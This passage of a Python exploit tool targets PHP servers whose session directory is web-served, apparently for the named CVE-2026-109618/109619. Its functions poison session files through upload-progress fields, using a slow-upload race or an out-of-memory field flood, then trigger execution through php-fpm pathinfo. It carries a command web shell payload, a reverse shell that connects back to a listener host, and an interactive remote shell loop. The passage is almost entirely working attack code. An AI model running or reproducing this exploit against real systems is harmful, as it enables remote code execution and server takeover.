|
data = data[line_end + 2 + n + 2:]
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def _body_of(resp):
|
||||||
|
if b"\r\n\r\n" not in resp:
|
||||||
|
return b""
|
||||||
|
headers, body = resp.split(b"\r\n\r\n", 1)
|
||||||
|
if b"transfer-encoding: chunked" in headers.lower():
|
||||||
|
return _decode_chunked(body)
|
||||||
|
return body
|
||||||
|
|
||||||
|
|
||||||
|
def _status_of(resp):
|
||||||
|
try:
|
||||||
|
return int(resp.split(b" ")[1])
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
|
||||||
|
sock = _connect(host, port, tls)
|
||||||
|
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
|
||||||
|
if cookie:
|
||||||
|
req += b"Cookie: " + cookie.encode() + b"\r\n"
|
||||||
|
req += b"Connection: close\r\n\r\n"
|
||||||
|
sock.sendall(req)
|
||||||
|
resp = _recv_response(sock, timeout)
|
||||||
|
sock.close()
|
||||||
|
return _status_of(resp), _body_of(resp)
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Multipart slow upload (keeps the poisoned session file on disk)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
|
||||||
|
drip=0.01, result=None):
|
||||||
|
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
|
||||||
|
head = (
|
||||||
|
b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||||
|
b"\r\n" + php_code + b"\r\n"
|
||||||
|
b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
)
|
||||||
|
tail = b"\r\n--" + boundary + b"--\r\n"
|
||||||
|
total = len(head) + fill + len(tail)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = _connect(host, port, tls, timeout=60)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
|
||||||
|
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n" + head
|
||||||
|
)
|
||||||
|
block = b"\x00" * 65000
|
||||||
|
for _ in range(fill // len(block)):
|
||||||
|
sock.sendall(block)
|
||||||
|
time.sleep(drip)
|
||||||
|
sock.sendall(tail)
|
||||||
|
_recv_response(sock, timeout=5)
|
||||||
|
sock.close()
|
||||||
|
except OSError as e:
|
||||||
|
if result is not None:
|
||||||
|
result["error"] = str(e)
|
||||||
|
|
||||||
|
|
||||||
|
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
|
||||||
|
fsize=512, result=None):
|
||||||
|
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
|
||||||
|
|
||||||
|
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
|
||||||
|
runs and the poisoned session file persists. Requires the OOM body
|
||||||
|
to fit under post_max_size while exceeding memory_limit headroom.
|
||||||
|
"""
|
||||||
|
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
|
||||||
|
|
||||||
|
def field(name, value):
|
||||||
|
return (b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
||||||
|
+ value + b"\r\n")
|
||||||
|
|
||||||
|
def file_part():
|
||||||
|
return (b"--" + boundary + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
+ b"\x00" * 2048 + b"\r\n")
|
||||||
|
|
||||||
|
def chunk(sock, data):
|
||||||
|
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
|
||||||
|
|
||||||
|
sent = 0
|
||||||
|
try:
|
||||||
|
sock = _connect(host, port, tls, timeout=60)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
|
||||||
|
b"Transfer-Encoding: chunked\r\n"
|
||||||
|
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
|
||||||
|
chunk(sock, file_part())
|
||||||
|
batch = b""
|
||||||
|
for i in range(fields):
|
||||||
|
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
|
||||||
|
if len(batch) >= 256 * 1024:
|
||||||
|
chunk(sock, batch)
|
||||||
|
sent = i
|
||||||
|
batch = b""
|
||||||
|
if batch:
|
||||||
|
chunk(sock, batch)
|
||||||
|
try:
|
||||||
|
sock.sendall(b"0\r\n\r\n")
|
||||||
|
_recv_response(sock, timeout=8)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
sock.close()
|
||||||
|
except OSError as e:
|
||||||
|
if result is not None:
|
||||||
|
result["error"] = str(e)
|
||||||
|
if result is not None:
|
||||||
|
result["fields_sent"] = sent
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Payloads
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def cmd_payload():
|
||||||
|
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
|
||||||
|
|
||||||
|
|
||||||
|
def reverse_shell_payload(lhost, lport):
|
||||||
|
code = (
|
||||||
|
f'$s=fsockopen("{lhost}",{lport});'
|
||||||
|
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
|
||||||
|
)
|
||||||
|
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Chain: poison -> probe served dir -> pathinfo execution
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
|
||||||
|
fill=1 << 25, verbose=True, oom=False, fields=30000,
|
||||||
|
fsize=512):
|
||||||
|
"""One attempt against one URL prefix. Returns
|
||||||
|
("rce", sid, url, text) | ("served", sid, url, None) | None."""
|
||||||
|
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
|
||||||
|
os.urandom(12).hex()
|
||||||
|
sess_url = f"{url_prefix}/sess_{sid}"
|
||||||
|
cookie = f"PHPSESSID={sid}"
|
||||||
|
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
|
||||||
|
|
||||||
|
if oom:
|
||||||
|
result = {}
|
||||||
|
if verbose:
|
||||||
|
print(f" [*] OOM poisoning {sess_url} ...")
|
||||||
|
oom_poison_upload(host, port, tls, path, sid, php_code,
|
||||||
|
fields=fields, fsize=fsize, result=result)
|
||||||
|
time.sleep(1.0)
|
||||||
|
saw_static = False
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url, cookie=None,
|
||||||
|
timeout=5)
|
||||||
|
if status == 200 and b"upload_progress_" in body:
|
||||||
|
saw_static = True
|
||||||
|
if verbose:
|
||||||
|
print(f" [+] {sess_url} web-served, file persisted "
|
||||||
|
f"(OOM bailout skipped cleanup)")
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
if saw_static:
|
||||||
|
for path_info in exec_vectors:
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url + path_info,
|
||||||
|
timeout=6)
|
||||||
|
text = body.decode(errors="replace")
|
||||||
|
if MARKER in text:
|
||||||
|
return ("rce", sid, sess_url + path_info, text)
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
return ("served", sid, sess_url, None)
|
||||||
|
if verbose and result.get("error"):
|
||||||
|
print(f" [!] upload error: {result['error']}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
t = threading.Thread(target=slow_poison_upload,
|
||||||
|
args=(host, port, tls, path, sid, php_code),
|
||||||
|
kwargs={"result": result, "fill": fill}, daemon=True)
|
||||||
|
t.start()
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
deadline = time.time() + window
|
||||||
|
saw_static = False
|
||||||
|
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
|
||||||
|
while time.time() < deadline:
|
||||||
|
# execution vectors first, raced against the (possibly tiny) window
|
||||||
|
for path_info in exec_vectors:
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url + path_info,
|
||||||
|
timeout=3)
|
||||||
|
text = body.decode(errors="replace")
|
||||||
|
if MARKER in text:
|
||||||
|
return ("rce", sid, sess_url + path_info, text)
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
# static: served-dir detection (source disclosure of the session file)
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url, cookie=None,
|
||||||
|
timeout=3)
|
||||||
|
if status == 200 and b"upload_progress_" in body:
|
||||||
|
saw_static = True
|
||||||
|
if verbose:
|
||||||
|
print(f" [+] {sess_url} is web-served "
|
||||||
|
f"(session file source disclosed)")
|
||||||
|
break
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
time.sleep(0.005)
|
||||||
|
|
||||||
|
t.join(timeout=3)
|
||||||
|
|
||||||
|
# post-window calm checks: streaming stacks with cleanup=0 keep the file
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
|
||||||
|
if status == 200 and b"upload_progress_" in body:
|
||||||
|
saw_static = True
|
||||||
|
if verbose:
|
||||||
|
print(f" [+] {sess_url} is web-served (file persisted "
|
||||||
|
f"after upload: cleanup=0)")
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if saw_static:
|
||||||
|
for path_info in exec_vectors:
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls, sess_url + path_info,
|
||||||
|
timeout=4)
|
||||||
|
text = body.decode(errors="replace")
|
||||||
|
if MARKER in text:
|
||||||
|
return ("rce", sid, sess_url + path_info, text)
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if saw_static:
|
||||||
|
return ("served", sid, sess_url, None)
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
|
||||||
|
fields=30000, fsize=512):
|
||||||
|
"""Re-poison the same SID and execute a command during the window."""
|
||||||
|
sess_url = f"{url_prefix}/sess_{sid}"
|
||||||
|
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
|
||||||
|
hit = {}
|
||||||
|
lock = threading.Lock()
|
||||||
|
|
||||||
|
def poll(pi):
|
||||||
|
while True:
|
||||||
|
if stop.is_set():
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
status, body = _get(host, port, tls,
|
||||||
|
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
|
||||||
|
timeout=6)
|
||||||
|
text = body.decode(errors="replace")
|
||||||
|
if MARKER in text:
|
||||||
|
with lock:
|
||||||
|
if "out" not in hit:
|
||||||
|
out = text.split(MARKER + ":", 1)[1]
|
||||||
|
hit["out"] = out.split(
|
||||||
|
'|a:5:{s:10:"start_time"', 1)[0]
|
||||||
|
stop.set()
|
||||||
|
return
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if oom:
|
||||||
|
result = {}
|
||||||
|
oom_poison_upload(host, port, tls, path, sid, payload,
|
||||||
|
fields=fields, fsize=fsize, result=result)
|
||||||
|
stop = threading.Event()
|
||||||
|
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
|
||||||
|
for pi in ("/x.php", "/index.php")]
|
||||||
|
for th in threads:
|
||||||
|
th.start()
|
||||||
|
for th in threads:
|
||||||
|
th.join(timeout=10)
|
||||||
|
return hit.get("out")
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
for cycle in range(3 if not oom else 1):
|
||||||
|
t = threading.Thread(target=slow_poison_upload,
|
||||||
|
args=(host, port, tls, path, sid, payload),
|
||||||
|
kwargs={"result": result}, daemon=True)
|
||||||
|
t.start()
|
||||||
|
time.sleep(0.3)
|
||||||
|
stop = threading.Event()
|
||||||
|
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
|
||||||
|
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
|
||||||
|
for th in threads:
|
||||||
|
th.start()
|
||||||
|
grace = None
|
||||||
|
while True:
|
||||||
|
if stop.is_set():
|
||||||
|
break
|
||||||
|
if not t.is_alive():
|
||||||
|
if grace is None:
|
||||||
|
grace = time.time() + 1.5
|
||||||
|
elif time.time() > grace:
|
||||||
|
break
|
||||||
|
time.sleep(0.002)
|
||||||
|
stop.set()
|
||||||
|
for th in threads:
|
||||||
|
th.join(timeout=3)
|
||||||
|
if "out" in hit:
|
||||||
|
return hit["out"]
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Main
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
def main():
|
||||||
|
p = argparse.ArgumentParser(
|
||||||
|
description="CVE-2026-109618/109619: RCE without LFI "
|
||||||
|
"(web-served session.save_path + php-fpm pathinfo)",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
Examples:
|
||||||
|
%(prog)s -t http://target/ --probe
|
||||||
|
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||||
|
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
|
||||||
|
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
|
||||||
|
""")
|
||||||
|
p.add_argument("--target", "-t", required=True,
|
||||||
|
help="Target base URL (any PHP-handled URL on the vhost, "
|
||||||
|
"404 is fine)")
|
||||||
|
p.add_argument("--url-prefix", default="",
|
||||||
|
help="URL prefix that serves session.save_path "
|
||||||
|
"(e.g. /sessions). Probes defaults if omitted")
|
||||||
|
p.add_argument("--cmd", help="Command to execute")
|
||||||
|
p.add_argument("--lhost", help="Listener IP for reverse shell")
|
||||||
|
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
|
||||||
|
p.add_argument("--window", type=float, default=12.0,
|
||||||
|
help="Upload race window in seconds (default 12)")
|
||||||
|
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
|
||||||
|
"in MB; must stay under the target post_max_size (default "
|
||||||
|
"6MB, PHP default post_max_size is 8M)")
|
||||||
|
p.add_argument("--probe", action="store_true",
|
||||||
|
help="Only classify the target, do not attack")
|
||||||
|
p.add_argument("--oom", action="store_true",
|
||||||
|
help="Use the CVE-2026-109618 OOM bailout for "
|
||||||
|
"persistence instead of racing the upload window "
|
||||||
|
"(requires post_max_size > OOM volume and memory "
|
||||||
|
"headroom)")
|
||||||
|
p.add_argument("--fields", type=int, default=30000,
|
||||||
|
help="OOM pressure fields (default 30000)")
|
||||||
|
p.add_argument("--fsize", type=int, default=512,
|
||||||
|
help="OOM field size in bytes (default 512)")
|
||||||
|
p.add_argument("--attempts", type=int, default=3)
|
||||||
|
args = p.parse_args()
|
||||||
|
|
||||||
|
host, port, tls, path = _parse_url(args.target)
|
||||||
|
scheme = "https" if tls else "http"
|
||||||
|
|
||||||
|
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
|
||||||
|
print(f"[*] Target: {args.target}")
|
||||||
|
|
||||||
|
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
|
||||||
|
fill = args.fill * (1 << 20)
|
||||||
|
if args.probe:
|
||||||
|
php_code = cmd_payload()
|
||||||
|
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
|
||||||
|
f"(web-served session dir detection)")
|
||||||
|
for prefix in prefixes:
|
||||||
|
r = attempt_prefix(host, port, tls, path, prefix, php_code,
|
||||||
|
window=args.window, fill=fill, verbose=True,
|
||||||
|
oom=args.oom, fields=args.fields,
|
||||||
|
fsize=args.fsize)
|
||||||
|
if r is None:
|
||||||
|
print(f" [-] {prefix}: not served")
|
||||||
|
else:
|
||||||
|
kind, sid, url, text = r
|
||||||
|
if kind == "rce":
|
||||||
|
print(f" [++] {prefix}: EXECUTABLE — {url}")
|
||||||
|
else:
|
||||||
|
print(f" [+] {prefix}: served, not executable "
|
||||||
|
f"(limit_extensions default or non-fpm engine)")
|
||||||
|
return
|
||||||
|
|
||||||
|
if not args.cmd and not (args.lhost and args.lport):
|
||||||
|
print("[!] Specify --probe, --cmd, or --lhost/--lport")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
php_code = (cmd_payload() if args.cmd
|
||||||
|
else reverse_shell_payload(args.lhost, args.lport))
|
||||||
|
if args.oom:
|
||||||
|
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
|
||||||
|
f"fields)")
|
||||||
|
else:
|
||||||
|
print(f"[*] Race window: {args.window}s per prefix, "
|
||||||
|
f"{len(prefixes)} prefixes")
|
||||||
|
|
||||||
|
for attempt in range(1, args.attempts + 1):
|
||||||
|
for prefix in prefixes:
|
||||||
|
print(f"[*] Attempt {attempt}/{args.attempts} "
|
||||||
|
f"against {prefix} ...")
|
||||||
|
r = attempt_prefix(host, port, tls, path, prefix, php_code,
|
||||||
|
window=args.window, fill=fill, verbose=True,
|
||||||
|
oom=args.oom, fields=args.fields,
|
||||||
|
fsize=args.fsize)
|
||||||
|
if r is None:
|
||||||
|
continue
|
||||||
|
kind, sid, url, text = r
|
||||||
|
if kind == "rce":
|
||||||
|
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
|
||||||
|
if args.cmd:
|
||||||
|
out = run_cmd(host, port, tls, path, prefix, sid,
|
||||||
|
args.cmd, oom=args.oom, fields=args.fields,
|
||||||
|
fsize=args.fsize)
|
||||||
|
print(f"[+] {args.cmd}\n{out}" if out is not None
|
||||||
|
else "[!] exec failed (race lost, retry)")
|
||||||
|
else:
|
||||||
|
print(f"[*] Reverse shell payload executed — check "
|
||||||
|
f"listener on {args.lhost}:{args.lport}")
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
c = input("shell> ").strip()
|
||||||
|
except EOFError:
|
||||||
|
break
|
||||||
|
if not c:
|
||||||
|
continue
|
||||||
|
out = run_cmd(host, port, tls, path, prefix, sid, c,
|
||||||
|
oom=args.oom, fields=args.fields,
|
||||||
|
fsize=args.fsize)
|
||||||
|
print(out if out is not None else "[!] exec failed")
|
||||||
|
return
|
||||||
|
print(f" [+] {prefix}: served but not executable "
|
||||||
|
f"(session source disclosure only)")
|
||||||
|
print("[!] No executable prefix found. Precondition likely missing: "
|
||||||
|
"save_path not web-served, or security.limit_extensions is set.")
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user